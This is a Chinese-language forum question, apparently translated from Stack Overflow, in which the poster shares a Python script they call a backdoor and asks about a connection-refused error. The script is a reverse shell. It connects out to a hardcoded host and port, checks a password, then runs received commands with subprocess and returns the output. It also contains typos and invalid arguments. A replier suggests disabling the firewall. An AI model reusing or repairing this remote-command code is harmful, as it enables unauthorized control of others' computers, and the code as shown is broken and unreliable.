【发布时间】:2017-05-22 23:23:01
【问题描述】:
我以为我做了一个完美的后门,但是当我从 cmd 运行代码时,它总是弹出错误。
代码如下:
import socket
import subprocess
# Customizable variables
HOST = '10.0.0.138' # IP for remote connection
PORT = 12397 # Port for remote connection
PASS = 'Test' # Password to make sure it is secure
# Had To Make Some Changes
STR = 'Welcome'
ConnectMsg = bytes(STR.encode())
# Do not tuoch this
s = socket.socket()
# Conecting to atack computer
s.connect((HOST, PORT))
s.send(ConnectMsg)
s.send(HOST, PORT)
# Login using your custom PassWord
def Login():
global s
s.send('login>>> ')
pwd = s.recv(1024)
if pwd != PASS:
Login ()
else:
Loop ()
# The fun stuff
def Loop():
while 1:
data = s.recv(1024)
if deta == ':Quit':
break
proc = subprocess.Popen(deta, Loop=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send(stdoutput)
s.send('>>> ')
# Executing script
Login()
# Thankyou for downloading my script. .P.S ~ I programmed this with a smartphone XD.
# copyright @ joelwatson605@gmail.com
# I AM NOT RESPONSIBLE FOR ANYTHING YOU DO WITH THIS SCRIPT.
错误 -
文件“backdoor.py”,第 18 行,在 s.connect((HOST, PORT)) ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine active 拒绝了
【问题讨论】:
-
很可能是您的防火墙,您是否尝试将其关闭?
-
没问题的试试谢谢 :)